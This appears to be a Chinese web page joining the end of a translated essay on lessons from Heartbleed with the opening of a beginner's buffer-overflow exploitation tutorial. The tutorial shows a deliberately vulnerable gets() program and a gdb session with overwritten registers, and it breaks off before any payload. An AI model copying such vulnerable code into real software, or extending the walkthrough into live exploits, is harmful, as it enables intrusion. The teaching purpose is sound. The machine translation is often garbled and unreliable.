我们也需要减少经济效益的攻击,经济激励会使人们发现漏洞并要出售给攻击者。在很多情况下人们不会把漏洞告诉防御者,他们可以通过出售这些漏洞给攻击者来得到很多的钱。毕竟人们可以通过出售一个单一的漏洞来合理的挣到100万。赏金根本跟不上当时的情形,我们需要探讨如何减少这些诱惑。例如也许我们应该把漏洞信息卖给不是供应商和政府的人定罪。基本上对于漏洞信息的捐献:有意的消除经济引诱在一个特定的区域来获得一个更好的社会。我认为这不可能防止公民来告诉他的国家软件的漏洞;公民必须把这作为他们的职责。我觉得没有一个政府会禁止购买这些信息。但是额外的限制可能会减少人们积极寻找漏洞,不是修复而是利用他们。显然有一些人会做违法的事,但是有些人会避免做违法的事,这是因为他们怕被捉到。你并不需要停止所有可能,只是改变。也许有更好的办法,如果有的话,请提前说,在任何情况下,我们需要找到一个方法来做物质的工作和不是安全。

六、应用这些方法

正如我前面提到的,开发安全软件需要的工具和方法的结合。当有错误时,要弄清楚发生了什么,我们需要了解它们失败的原因,并要试图做的更好。

这不是一个很好的时机来使用加密库。这些库是很重要的,但是最近发现了很多的问题:

1、本文的重点是OpenSSL中的心脏出血漏洞。

2、苹果的iOS遇到了漏洞,这是一个简单的故障来检查无效的证书。这些漏洞可能已经通过各种机制,包括静态死代码检测器,测试覆盖工具,或是无效认证的否定测试。

3、GnuTLS也不能正确的认证证书,其次,似乎有可能检测到这个在代码公布之前,其中包括否定测试。

4、OpenSSL CCS的注入。其中一些精心制作的可能会导致密钥的成为弱项。Masashi Kikuchi已经分别描述了他是怎么发现这个漏洞的。他首先想到了使用Coq来证明使用的正确性。他专注于过度的CCS,然后检查如何验证代码转变条件。他发现OpenSSL不能验证失败的情况,并且发现了漏洞。

5、一个随机数生成器不能在OpenSSL运行,值得注意的是,可以通过它来检查这个错误,所有的基本工程测试已经掌握了这一点。

许多人依靠加密库但是评估这些要有专业的知识,美国政府已经建立了一套流程来评估加密模块,称为FIPS 140-2。我认为这是个好方法来广阔的评价这些很重要并且难评估的项目。

这有更重要的事情,虽然符合FIPS 140-2进程,但是不检查加密协议,包括SSL/TLS的实现。相反,当前的FIPS 140-2进程只能计算它在密码库内的算法和检测在密码模块内的方案。我没有说清楚这个旧版本的文本,我希望弄清这些事。作为实施指南的FIPS PUB 140-2和加密模块验证程序的有效性。“该加密模块可以实现在安防行业已知的各种协议。这些协议的例子是IKE, TLS, SSH, SRTP, SNMP和TPM,在NIST SP 800-135rev1列出来。FIPS 140-2以及其附件没有解决方案,只有在加密算法和方案被认可和允许时,这些在操作模式下使用。”

实际上,OpenSSL坚持使用FIPS 140-2认证,它修复了心脏出血漏洞由于使用了附加的技术。FIPS 140-2进程不能评估正常的OpenSSL代码,只是评估了叫OpenSSL FIPS对象模块的特别的软件模块。OpenSSL FIPS对象模块有一样的接口,并且从OpenSSL代码中衍生出来,但它还是一个单独的模块。开启“FIPS模式”来结束FIPS模块代码,而不是使用常规的OpenSSL代码来实现加密。因此OpenSSL FIPS对象模块可以保持其通过FIPS 140-2的认证,即修复心脏出血漏洞,这是因为FIPS 140-2进程不评估SSL/TLS协议,因为不符合FIPS某块的代码必须要修改。在其他方面不同的情况下发生的。通常情况下,任何的加密模块的改变都不能导致验证的损失,这就需要很长的时间和金钱来得到一个新的验证。亏损的危险就是一个反常的激励:加密模块的开发人员有一个强烈的动机来区分问题。如果这是正确的,我可以肯定OpenSSL开发人员和FIPS的使用者和高兴。这就意味着心脏出血漏洞能够很快的得到修复在符合FIPS时,我确认在2014-05-09理解NIST。

因此通过设计FIPS 140-2进程中没有通过SSL/TLS来实现的包括加密协议在内,我觉得这公平来询问,但是,如果要注意保密协议。正确的评估加密协议需要相同类型的专业知识和其他的加密代码。很容易创建和运行一个大的测试套件来对抗如SSL/TLS的标准协议。这并不奇怪,验证过程没有发现随机数生成器的失败。我想通过FIPS 140-2进程至少是使用动态测试每一个支持加密随机数的生产器,从而确保他们是随机的,并且可以避免常见的错误。这将不花费很多和提供了一些信心,如果FIPS 140-2进程不能延长审查加密协议,那么事情应该建立来审查这些。一般情况下,我们需要重新测试FIPS 140-2来使它运行的更快更彻底。当前的进程使它很难更新库,如让一个人得到了关于安全和兼容性的结论。

没有测试过程中可以找到所有的问题,所以期待的完美是不合理的。不过,存在这新的技术来评估保密代码,这就会增加速度减少成本。更重要的是,我们都需要对攻击者的学习来增进当前评估过程来对抗容易忽略的漏洞。我的目标不是来毁掉现有的各种评估进程,评估是一项很难的任务。我的目标是要弄清楚做什么可以改善这些事情,因为加密是最重要的。

需要更严格和透明的程序来测试加密协议,一个要求对安全漏洞进行更新和公开的更新程序来防止复发。我能够很容易的看到FLOSS项目来创建一个更严格的测试套件,指的是通过密码库的使用和用户的关注程度。

我想我应该提一下FLOSS。有些人曾经试图宣称心脏出血漏洞在一个FLOSS不能创建好软件的证据。这没有意义,在专有软件中也发现了漏洞,在2013年,Coverity的扫描报告中发现“开源代码的质量优于专有的C/C++项目。”在现实中一些FLOSS程序是安全的,但是专有软件就不是很安全了。FLOSS有些潜在的安全优点,但是他们只是潜在的,你必须要检测特定的软件来确定它是否适合您的需要,包括它的安全性。

Eric S. Raymond把下面这叫做“Linus’ Law”:“使用一个足够大的β测试和联合的开发基础,几乎所有的问题很快的成型和修复就变得很明显了。”或是不正规的“只要你认真的寻找就会发现漏洞。”但是,这不意味着一些人想要。首先Raymond截然不同的发展FLOSS;他不是在谈论FLOSS和非FLOSS。其次,注意到更小心的措施需要“足够多的联合开发人员”基础;加密学使得得到一个大的开发者基础成为问题,并且非标准的OpenSSL证书有可能抑制了合作开发人员的数量。第三,注意这些文字“几乎每个问题都会很快的形成”,他从来没有声称发现了所有了问题,或是他们很快的被发现。最后,文中指出事实证明传统的方法在发现和对抗这些问题时不会奏效,虽然有很多的工具和方法来分析OpenSSL。相反,系统问题来发现类似的漏洞,因为不同的人使用类似的假设。好的消息是我们可以找到漏洞并且修复这些漏洞,因为漏洞的成因是公开讨论的。在大的设置中,本文代表了人们识别系统的问题来修复他们,从而类似的漏洞会很快的发现和修复。

本文着重关注如何应对技术。然而这里还有很多的非技术问题。Summer Maynard的“什么能让心脏出血可以教导OSS社区的市场营销”,这就展示了心脏出血是怎么被推销的。市场营销是很重要的;心脏出血是一个很糟糕的漏洞,好的营销加快的反应速度和降低了伤害。项目可以帮助关键的部件,这些有潜在问题的;核心的设施要数百万的美元来资助开源项目,这个项目是核心计算机功能的关键路径,这收心脏出血漏洞启发的。

七、范例

那么是不是有做的很好的例子?毕竟容易引起抱怨,但是如果没有人可以做的很好,那么这应该是不可能的。此外,如果没有可以复制的例子,就很难学习怎么做了。

我要求人们在可靠性和安全性方面来区分强大的FLOSS例子。当然,一个程序会有一个强劲的投入和不安全性。此外,即时是好的系统也偶尔会有问题的。这是一个很好的想法来看这些例子,因为很容易使用类似的方法在你在实际运行中。这有一些人们确定的项目:

OpenBSD。OpenBSD渴望成为安全领域的第1。他们由一个6-12人的队伍来进行安全审计:“我们不能找到很多的安全漏洞,因为我们正在找软件的基本问题,使用很长时间后人们才会发现安全问题,之后修复这些问题。在系统的任何领域都会发现漏洞。在我们审计中发现了在安全问题中新的类,而且往往这些较早审核的源代码需要重新设计时要考虑到这些漏洞。代码要经过多次的审核,并且由很多人使用不同的方法来审核,另一个安全的审核过程就是他们的积极性。在很多的条件下,我们发现对于开发的决心不是一个问题。在我们的审计过程中,我们发现了很多的问题,并且我们努力解决这些问题,即时没有得到证实。” 他们试图创建并实施对抗这些漏洞的新方法,包括strlcpy()/strlcat(),保护页面,和随机malloc()。他们还在“默认安全”下工作,同时进行全面的披露。

OpenSSH。OpenSSH是实现SSH协议和密钥连接的工具。OpenSSH是在OpenBSD项目的两个团队开发的。一个团队做基于OpenBSD的开发,其他的团队需要运行这个版本在许多操作系统上运行。OpenSSH使用的是OpenBSD的安全开发流程。OpenSSH的开发人员一直在努力降低OpenSSH被攻击的可能性。他们的方法有防御性程序,使用独立的库来减少复杂性,轻度的改变协议来减少攻击,特权分离,通过改变程序来最大化的缓解在操作系统的攻击。想要了解更多的OpenSSH的权限分离可以查阅Provos2003。

SQLite。SQLite是通过使用非常积极的测试方法来获得可靠性。该项目的代码行中超过了1000的测试代码和测试脚本。他们的作为包括三个独立开发的测试工具,异常测试,fuzz测试,回归测试,自动资源泄露测试,100%分支测试和MC/DC覆盖测试,数以百万的测试方案,广泛的使用assert()和运行时间检查,Valgrind分析,整数溢出检查,开发者清单。他们没有编译警告,在警告开启或是使用Clang静态分析工具。在2014.5.10,Peter Gutmann告诉我:“我一直使用SQLite完成我专业级软件开发,我谈论了怎么开发和测试它,在受到强烈的影响下。”

Postfix。我注意到Elaine R. Palmer和Bill Cheswick认为他们对安全和可靠性都全面的了解。Postfix的方法来开发安全软件重点在于存在一个非常有经验的团队,从头开始编写到安全,涉及到一组守护进程分别执行不同任务的集体结构。Postfix使用C和POSIX的安全子集,并结合创建安全的替代品的一个抽象层。例如,它有一个“vstring”创始人的帮助来缓解缓冲区溢出的攻击和“safe open”创始人来阻止竞赛条件。

GPSD。全球定位系统服务守护进程。这使用了大量的回归测试,使用多个工具的严格的静态测试和可以减少风险的构架方式。他们使用一个自定义的框架来拓展回归测试套件,包括使用诸如valgrind工具。他们的静态分析工具包括splint,cppcheck和Coverity;他们说道:“我们不知道没有比GPSD更强大的套件,包括全部的splint注解,并强烈怀疑没有存在。”或许更重要的是,他们的设计没有缺陷。Eric Raymond说到,“如果移动或是主机不是Windows,GPSD肯定可以运行,在世界上所有的智能手机的GPS监控,DARPA挑战一个重要的航海系统,从无人驾驶汽车开始,还有大多数的无人机和机器人,只有CVE和在十年内没有任何的漏洞。在几个月的时间内没有任何的缺陷报告,GPSD是使用传统C的基础,从而可以使你非常接近不用判断。我得到了疯狂的回归测试和常规的四个静态分析器。”

这当然不是一个完整的清单,他们中的漏洞会被发现的。尽管如此,它指向用来提高安全性和可靠性的项目,以及他们是如何工作的,让别人找到什么值得模仿。

八、结论和建议

有几种方法可以发现心脏出血漏洞,在这漏洞软件发布之前。这不是一个真对OpenSSL开发人员的,他们在一直的努力减少漏洞的数量,包括审计的人数和工具。相反,本文是来帮助改善的,OpenSSL和其他的项目可以通过改变他们如何开发和评估软件来阻止将来类似的漏洞发生。

我们已经学了一个重要的事情是许多的静态和动态分析方法使用在分析的项目中,也没有找到心脏出血漏洞。这就包括使用自动测试套件,fuzz测试方法,和典型的语句或是分支代码覆盖率的方法。几个源代码的弱点分析仪的开发人员正在改善他们的工具来检测非常类似心脏出血漏洞。我认为我们应该继续使用这些工具,但是和明显不够。想要打造安全软件项目还需要添加一下的一种方法:

1 彻底的negative测试(动态分析)

2 带地址检测和标准内存分配的fuzz(动态分析)

3 在标准内存分配器下编译和使用地址保护或是sanitizer(复合分析)

4 在各个领域内有验证是使用手动检测(静态分析)

5 上下文配置的源代码弱点分析仪,包括注释系统(静态分析)

6 100%分支覆盖率(复合分析)

7 入侵时间描述(动态分析)

8 更安全的语言(静态分析)

9 完全静态分析器(静态分析)

10 彻底的人工核实和检测(静态分析)

11 格式化方法(静态分析)

项目应该保证容易分析。例如简化代码,正常分配和释放内存,使用标准的FLOSS许可证书,这要具有广泛的兼容性。这将会是很好的使用一个编程语言,包括C,有被广泛接受的标准注释符号,从而使注释语言更容易被接受。象C语言是很难得到这样的协议的,但是我觉得要是能够使它标准化,他们就会更广泛的使用。

还有很多的方法可以减少心脏出血漏洞的影响:

1 一旦标准的内存分配器被取代,开启内存分配器的防御。在很多系统如Linux上的GNU malloc就没有这种机制,我们要首先进行添加。

2 覆盖关键信息在处理他们时。

3 使用完美的缺省的向前安全性的加密算法。

4 使用权限分离的临界加密用于其它的代码部分。

5 修复SSL/TLS的证书架构,尤其是默认证书的吊销过程。这就要协调一致的努力才能得到真正的解决方案中的规定,实施和部署;我们要从现在开始。

6 是软件升级变得简单。

7 零散的储存密码

8 一般的问题:安全软件培训和教育,降低攻击动机。

教学材料的改进和添加,特别是我们需要警告开发人员在内存缓存系统中的潜在的安全问题,在使用C,C++, 或是Objective-C;现在经常用的。当然真是的问题是开发人员学习使用安全软件,尽管几乎所有的程序都在受到攻击。

现在让我们来谈谈SSL/TLS的实现。在短时间内,我认为FLOSS项目的建立是建立在一个全面的SSL/TLS回归测试套件,使用以下的技术:

该套件要使用彻底的negative测试,它当然要有测试选项。

这将会是最好的,如果这个测试套件使用了很长的时间可以达到100%的分支覆盖,以为测试使用了多个实现方法,可以帮助检测缺失的错误输入和错误处理。

使用带地址检测和标准内存分配器的fuzz和传统的negative测试结合的方法会更好,fuzz测试可以发现许多的安全漏洞,但是传统的fuzz测试就很肤浅,并且测试效果有限,如果他们自然的应用密码协议。结合了fuzz测试和传统测试可以取得更大的进步,在协议上可以做到比单纯的fuzz测试更有效的测试。一个完全的测试工具应该可以测试到细微的错误状态。

像这样的测试套件可用多种实现方式协议来实现,但是我认为要使用SSL/TLS开始。最近,在很多的SSL/TLS的运行中发现了很多的漏洞,所有这些都可以通过negative测试来实现。如果任何加密库有漏洞,在其他保护下可以泄露数据。这个测试套件可以重启所有的SSL/TLS项目,在任何一个开发人员做出任何的改变,在他们在用户的电脑上显示很长时间以前消除他们。这个套件可以用于潜在的用户和政府,如果使用验证,可以提高供应商额外的测试来添加下一个版本。一个常见的测试套件将使我们更有信心在所有的SSL/TLS中,在开始点这些测试套件会很有用,在开始的地方便的很容易。它还有资金的优势;如果你不知道你是否支持OpenSSL,LibreSSL叉,或是其他的,这不重要-这个套件可以帮助大家。个别的项目要继续使用自己的测试套件,但是显然现在的测试套件是不够的。这也可以扩展到其他的加密协议,依赖一中技术来测试漏洞是不坏注意,包括创建一个共同的严格测试套件;我们要更多的套件才行。但是这可以说是一个好的开始。

更广泛的说,项目需要检查心脏出血的漏洞以及其他的漏洞,并且要确定他们是有效的。他们也需要检查一个项目,在这个项目做的很好时,来看使用寿命方法来复制。

这没有更好的办法。然而,这需要更重要的课程学习,要积极的使用套件才能是类似心脏出血漏洞不再发生。

九、参考文献

当前的URLs是2014.5.28。我已经把文本改成了规定的格式了,人们可以在打印版上发现重要的参考文献了。

[Ammann2008] Ammann, Paul and Jeff Offutt. Introduction to Software Testing. 2008. University Press. ISBN-13: 978-0521880381. ISBN-10: 0521880386. http://cs.gmu.edu/~offutt/softwaretest/ 

[Anderson2014] Anderson, Paul. Finding Heartbleed with CodeSonar. May 1, 2014. http://www.grammatech.com/blog/finding-heartbleed-with-codesonar 

[Appel2014] Appel, Andrew W. Verification of a Cryptographic Primitive: SHA-256 http://www.cs.princeton.edu/~appel/papers/verif-sha.pdf 

[Apple2013] Apple. Apple Automatic Reference Counting (ARC). “Transitioning to ARC Release Notes.” August 2013. https://developer.apple.com/library/mac/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html 

[ArcaneSentiment2014] Arcane Sentiment. A sound bug finder is an unsound correctness prover. 2014. http://arcanesentiment.blogspot.se/2014/04/a-sound-bug-finder-is-unsound.html 

[BAH2009] Booz Allen Hamilton. Software Security Assessment Tools Review. March 2, 2009. http://samate.nist.gov/docs/NAVSEA-Tools-Paper-2009-03-02.pdf 

[BenchmarksGame] Benchmarks Game. http://benchmarksgame.alioth.debian.org/u32/which-programs-are-fastest.php 

[Bessey2010] Bessey, Al, Ken Block, Ben Chelf, Andy Chou, Bryan Fulton, Seth Hallem, Charles Henri-Gros, Asya Kamsky, Scott McPeak, and Dawson Engler. A Few Billion Lines of Code Later: Using Static Analysis to Find Bugs in the Real World. Communications of the ACM, Vol. 53 No. 2, Pages 66-75. 2010. http://cacm.acm.org/magazines/2010/2/69354-a-few-billion-lines-of-code-later/fulltext 

[Brumley] Brumley, David and Dawn Song. Privtrans: Automatically Partitioning Programs for Privilege Separation. http://users.ece.cmu.edu/~dawnsong/papers/privtrans.pdf 

[Butler] Butler, Ricky W. “What is Formal Methods?” http://shemesh.larc.nasa.gov/fm/fm-what.html 

[Cassidy2014] Cassidy, Sean. Diagnosis of the OpenSSL Heartbleed Bug. 2014-04-07. http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html 

[CASC2014]. Certificate Authority Security Council (CASC). CASC Heartbleed Response. 2014-05-08. https://casecurity.org/2014/05/08/casc-heartbleed-response/ 

[Chou2014] Chou, Andy. “On Detecting Heartbleed with Static Analysis”. April 13, 2014. http://security.coverity.com/blog/2014/Apr/on-detecting-heartbleed-with-static-analysis.html 

[Coverity2014] Coverity. 2013 Coverity Scan Report. 2014. http://softwareintegrity.coverity.com/register-for-scan-report-2013.html?cs=pr 

[Cox2008] Cox, Russ. Lessons from the Debian/OpenSSL Fiasco. May 21, 2008. http://research.swtch.com/openssl 

[Crawford2013]. Crawford, Drew. “Why mobile web apps are slow.” July 2013. http://sealedabstract.com/rants/why-mobile-web-apps-are-slow/ 

[de Raadt] de Raadt, Theo. “Re: FYA: http://heartbleed.com/”. Newsgroup gmane.os.openbsd.misc. http://article.gmane.org/gmane.os.openbsd.misc/211963 

[Georgiev2012]. Georgiev, Martin, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh, and Vitaly Shmatikov. “The most dangerous code in the world: validating SSL certificates in non-browser software”. ACM Conference on Computer and Communications Security. 2012. pp. 38-49. 

[Gibson] Gibson, Steve. An Evaluation of the Effectiveness of Chrome’s CRLSets. 2014. https://www.grc.com/revocation/crlsets.htm 

[Goodin2014a] Goodin, Dan. March 4, 2014. “Critical crypto bug leaves Linux, hundreds of apps open to eavesdropping”. Ars Technica. http://arstechnica.com/security/2014/03/critical-crypto-bug-leaves-linux-hundreds-of-apps-open-to-eavesdropping 

[Goodin2014b]. Goodin, Dan. “How Heartbleed transformed HTTPS security into the stuff of absurdist theater: Certificate revocation checking in browsers is “useless,” crypto guru warns.” Ars Technica. 2014-04-21. http://arstechnica.com/security/2014/04/how-heartbleed-transformed-https-security-into-the-stuff-of-absurdist-theater/ 

[GNU-Licenses] GNU project. Various Licenses and Comments about Them. https://www.gnu.org/licenses/license-list.html#OpenSSL 

[Goodin2011] Goodin, Dan. “How is SSL hopelessly broken? Let us count the ways: Blunders expose huge cracks in net’s trust foundation” The Register. 2011-04-11. http://www.theregister.co.uk/2011/04/11/state_of_ssl_analysis/ 

[Gutmann] Gutmann, Peter. Experiences with SAL/PREfast https://www.cs.auckland.ac.nz/~pgut001/pubs/sal.html 

[Hatton2003]. Hatton, Les. “EC--, a measurement based safer subset of ISO C suitable for embedded system development.” 2003. Information and Software Technology, 47 (3) (2005), p. 181-187. http://www.leshatton.org/index_SA.html 

[Hatton2005] Hatton, Les. Language subsetting in an industrial context: a comparison of MISRA C 1998 and MISRA C 2004. November 20, 2005. Information and Software Technology 49 (5), p. 475-482, May 2007. http://www.leshatton.org/index_SA.html 

[Heartbleed.comHeartbleed.com web site. 

[Hofer2010] Hofer, Thomas. Evaluating Static Source Code Analysis Tools 2010. http://infoscience.epfl.ch/record/153107/files/ESSCAT-report 

[Hsu2008] Hsu, Yating, Guoqiang Shu, and David Lee. “A Model-based Approach to Security Flaw Detection of Network Protocol Implementations” http://www.ieee-icnp.org/2008/papers/Index12.pdf 

[Jplus2014] Jplus. 2014. Approximate speed classes of programming languages. XKCD Forums. http://forums.xkcd.com/viewtopic.php?f=11&t=108685 

[Junestam2014] Junestam, Andreas and Nicolas Guigo (iSECpartners). Open Crypto Audit Project: TrueCrypt: Security Assessment. Prepared for the Open Crypto Audit Project. 2014. https://opencryptoaudit.org/reports 

[Kupsch2009] Kupsch, J. A. and Barton P. Miller. “Manual vs. automated vulnerability assessment: A case study”. The First International Workshop on Managing Insider Security Threats, West Lafayette. 2009. http://research.cs.wisc.edu/mist/papers/ManVsAutoVulnAssessment.pdf 

[Kupsch2014-April] Kupsch, James A., and Barton P. Miller. “Why do Software Assurance Tools Have Problems Finding Bugs Like Heartbleed?” https://continuousassurance.org/swamp/SWAMP-Heartbleed-White-aper-22Apr2014.pdf 

[Kupsch2014-May] Kupsch, James A., and Barton P. Miller. “Why do Software Assurance Tools Have Problems Finding Bugs Like Heartbleed?” https://continuousassurance.org/swamp/SWAMP-Heartbleed.pdf 

[Langley2014a] Langley, Adam. No, don’t enable revocation checking. 2014-04-19. https://www.imperialviolet.org/2014/04/19/revchecking.html 

[Langley2014b] Langley, Adam. Revocation still doesn’t work. 2014-04-29. https://www.imperialviolet.org/2014/04/29/revocationagain.html 

[McLoughlin2004] Mark McLoughlin, Mark. June 22, 2004. https://people.gnome.org/~markmc/openssl-and-the-gpl.html 

[Miller2005] Miller, Damien. “Secure Portability”. AUUG 2005. October 2005. http://www.openbsd.org/papers/portability.pdf or http://www.mindrot.org/~djm/auug2005/ 

[Miller2007] Miller, Damien. “Security measures in OpenSSH”. Proceedings of the AsiaBSDCon 2007, Usenix. March 2007. http://www.openbsd.org/papers/openssh-measures-asiabsdcon2007.pdf 

[NIST] NIST (SAMATE project). Tool Survey. http://samate.nist.gov/index.php/Tool_Survey.html 

[NIST-Sound] NIST. NIST SAMATE SATE V Ockham Sound Analysis Criteria. http://samate.nist.gov/SATE5OckhamCriteria.html 

[Perens1999] Perens, Bruce. “The Open Source Definition” Open Sources: Voices from the Open Source Revolution 1st Edition. January 1999. 1-56592-582-3. http://oreilly.com/catalog/opensources/book/perens.html 

[Provos2003] Provos, Niels, Markus Friedl, and Peter Honeyman. “Preventing privilege escalation”. Proceedings of the 12th USENIX Security Symposium. Pages 231-242. August 2003. https://www.usenix.org/events/sec03/tech/full_papers/provos_et_al/provos_et_al.pdf 

[Raymond1999] Raymond, Eric. “The Cathedral and the Bazaar”. The Cathedral and the Bazaar. http://www.catb.org/esr/writings/cathedral-bazaar/ - note that Linus’ law is at http://www.catb.org/esr/writings/cathedral-bazaar/cathedral-bazaar/ar01s04.html 

[Ritter2014] Ritter, Tom. iSEC Completes TrueCrypt Audit: Is TrueCrypt Audited Yet? Yes, in part! April 24, 2014. https://isecpartners.github.io/news/2014/04/14/iSEC-Completes-Truecrypt-Audit.html 

[Rohlf2014] Rohlf, Chris. 2014-04-11. My heart is ok, but my eyes are bleeding. Leaf Security Research. http://blog.leafsr.com/2014/04/11/my-heart-is-ok-but-my-eyes-are-bleeding/ 

[Ruef2014] Ruef, Andrew. Using Static Analysis And Clang To Find Heartbleed. April 27, 2014. http://blog.trailofbits.com/2014/04/27/using-static-analysis-and-clang-to-find-heartbleed/ 

[Rutkowska2013] Rutkowska, Joanna. Thoughts on Intel’s upcoming Software Guard Extensions (Part 1). August 30, 2013. http://theinvisiblethings.blogspot.com/2013/08/thoughts-on-intels-upcoming-software.html 

[Sarkar2014] Sarkar, Roy. “Saving you from Heartbleed”. April 16, 2014. http://www.klocwork.com/blog/software-security/saving-you-from-heartbleed/ 

[Schieferdecker2012] Schieferdecker, Ina, Jürgen Großmann, and Martin Schneider. Model-Based Fuzzing for Security Testing. 2012-04-21. http://www.spacios.eu/sectest2012/pdfs/SecTestICST_Schieferdecker.pdf 

[Serebryany2012] Serebryany, Konstantin, Derek Bruening, Alexander Potapenko, and Dmitry Vyukov. “Address Sanitizer: A Fast Address Sanity Checker”. USENIX ATC 2012. https://www.usenix.org/system/files/conference/atc12/atc12-final39.pdf 

[Shahriar2008] Shahriar, Hossain. Mutation-based testing of buffer overflows, SQL injections, and format string bugs. 2008. http://qspace.library.queensu.ca/handle/1974/1359 

[Spinellis2012] Spinellis, Diomidis, Vassilios Karakoidas, and Panagiotis Louridas. “Comparative language fuzz testing: Programming languages vs. fat fingers.” PLATEAU 2012: 4th Annual International Workshop on Evaluation and Usability of Programming Languages and Tools - Systems, Programming, Languages and Applications: Software for Humanity (SPLASH 2012). ACM, October 2012. (doi:10.1145/2414721.2414727) http://www.dmst.aueb.gr/dds/pubs/conf/2012-PLATEAU-Fuzzer/pub/html/fuzzer.html 

[Sutton2007] Sutton, Michael, Adam Greene, and Pedram Amini. Fuzzing: Brute Force Vulnerability Discovery. 2007. Addison-Wesley. ISBN 0-321-44611-9. 

[Takanen2008] Takanen, Ari, Jared D. Demott, and Charles Miller. Fuzzing for Software Security Testing and Quality Assurance. 2008. Norwood, MA: Artech House. ISBN-13 978-1-69693-214-2. 

[Ted] Ted. Analysis of openssl freelist reuse. http://www.tedunangst.com/flak/post/analysis-of-openssl-freelist-reuse 

[Uberti] Uberti, Justin. Untitled blog post. https://plus.google.com/+JustinUberti/posts/Ah5Gwb9jF4q 

[Wheeler2004] Wheeler, David A. Secure Programming for Linux and Unix HOWTO. 2004. http://www.dwheeler.com/secure-programs/ 

[Wheeler2013] Wheeler, David A. Vulnerability bidding wars and vulnerability economics. 2013-11-16. http://www.dwheeler.com/blog/2013/11/16/#vulnerability-economics 

[XKCD] Munroe, Randall. “Heartbleed Explanation”. XKCD. http://xkcd.com/1354/ 

随时观看我的主页http://www.dwheeler.com,您可以看下的文章“为什么OSS/FS”看看页码,和我的书《如何开发安全程序》。

一如既往,这是我的个人意见,我的意见和政府,雇主的意见不同。像往常我的写作一样,我使用是逻辑大多数黑客和维基百科都是这样做的。

(全文完)

缓冲区溢出攻击-初学者手册

$
0
0

缓冲区溢出出现在用户输入的相关缓冲区内,在一般情况下,这是现在的计算机和网络上的最大的安全隐患之一。这是因为在编程的层次上很容易出现这中问题,这对于不明白或是无法获得源代码的使用者来说是不可见的,很多的这中问题就会被利用。本文就是企图教会新手-C程序员,证明怎么利用一个溢出环境。- Mixter

一 内存

注:我这里的描述方式是在大多数计算机上内存是进程的组织者,但是它是依赖处理器体系结构的类型。这是一个x86的例子,同时也可以大致应用在sparc。

缓冲区溢出的攻击原理是不应该是重写随机输入和在进程中执行代码的内存的重写。要看在什么地方和怎么发生的溢出,让我们来看下内存是如何组织的。页面是使用自己相关地址的内存的一个部分,这就意味着内核的进程的初始化,这就没有必要知道在RAM中存储的物理地址。进程内存由下面三个部分组成:

代码段,在这一段代码中你的数据是通过汇编指令在处理器中执行的。该代码执行是非线性的,它可以跳过代码,跳跃,在某种条件下调用函数。以此,我们使用EIP指针,或是指针指令。其中EIP指向的地址总是包含下一个执行代码。

数据段,变量空间和动态缓冲器。

堆栈段,这是用来给函数传递变量的和和作为函数变量的空间。在栈的底部位于每一页的虚拟内存的尽头,同时向下增长。汇编命令PUSHL会增加到栈的顶部,POPL会从栈的顶部移除项目并且把它们放到寄存器中。要直接访问栈寄存器,在栈的顶部有栈顶指针ESP。

二 函数

函数是一段代码段的代码,当被调用执行一个任务,之后返回执行的前一个主题。或是,把参数传递给函数,在汇编语言中,通常看起来是这样的。

memory address                       code
0x8054321               pushl $0x0
0x8054322                              call $0x80543a0 
0x8054327                              ret
0x8054328                              leave
...
0x80543a0               popl %eax
0x80543a1                              addl $0x1337,%eax
0x80543a4                              ret

这会发生什么?主函数调用了function(0);

变量是0,主要把它压入栈中,同时调用该函数。该函数使用popl来获取栈中的变量。完成后,返回0x8054327。通常,主函数要把EBP寄存器压入栈中,主要是储存和在结束后在储存。这是帧指针的概念,即允许函数使用自己的偏移地址,在对付攻击时就变的很无趣了。因为函数将不会返回到原有的执行线程。

我们只需要知道栈。在顶部,我们有函数的内部缓冲区和变量。在此之后,有保存的EBP寄存器(32位,4个字节),然后返回地址,是另外的4个字节。再往下,还有要传递给函数的参数,这对我们没有用。

在这种情况下,我们返回的地址是0x8054327。在函数被调用时,它就会自动的存储到栈中。如果代码中存在溢出的地方,这个返回值会被覆盖,并且指针指向下内存中的下一个位置。

三 一个可以利用的程序实例

让我们假设我们要利用的函数为:

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }

main() { lame (); return 0; }

 

Compile and disassemble it:

# cc -ggdb blah.c -o blah

/tmp/cca017401.o: In function `lame':

/root/blah.c:1: the `gets' function is dangerous and should not be used.

# gdb blah

/* short explanation: gdb, the GNU debugger is used here to read the

   binary file and disassemble it (translate bytes to assembler code) */

(gdb) disas main

Dump of assembler code for function main:

0x80484c8 :       pushl  %ebp

0x80484c9 :     movl   %esp,%ebp

0x80484cb :     call   0x80484a0

0x80484d0 :     leave

0x80484d1 :     ret

 

(gdb) disas lame

Dump of assembler code for function lame:

/* saving the frame pointer onto the stack right before the ret address */

0x80484a0 :       pushl  %ebp

0x80484a1 :     movl   %esp,%ebp

/* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the

   memory is allocated 4byte-wise (because the processor uses 32bit words)

   this is the equivalent to: char small[30]; */

0x80484a3 :     subl   $0x20,%esp

/* load a pointer to small[30] (the space on the stack, which is located

   at virtual address 0xffffffe0(%ebp)) on the stack, and call

   the gets function: gets(small); */

0x80484a6 :     leal   0xffffffe0(%ebp),%eax

0x80484a9 :     pushl  %eax

0x80484aa :    call   0x80483ec

0x80484af :    addl   $0x4,%esp

/* load the address of small and the address of "%s\n" string on stack

   and call the print function: printf("%s\n", small); */

0x80484b2 :    leal   0xffffffe0(%ebp),%eax

0x80484b5 :    pushl  %eax

0x80484b6 :    pushl  $0x804852c

0x80484bb :    call   0x80483dc

0x80484c0 :    addl   $0x8,%esp

/* get the return address, 0x80484d0, from stack and return to that address.

   you don't see that explicitly here because it is done by the CPU as 'ret' */

0x80484c3 :    leave

0x80484c4 :    ret

End of assembler dump.

 

3.1 程序溢出

# ./blah

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    <- user input

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# ./blah

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Segmentation fault (core dumped)

# gdb blah core

(gdb) info registers

     eax:       0x24          36

     ecx:  0x804852f   134513967

     edx:        0x1           1

     ebx:   0x11a3c8     1156040

     esp: 0xbffffdb8 -1073742408

     ebp:   0x787878     7895160

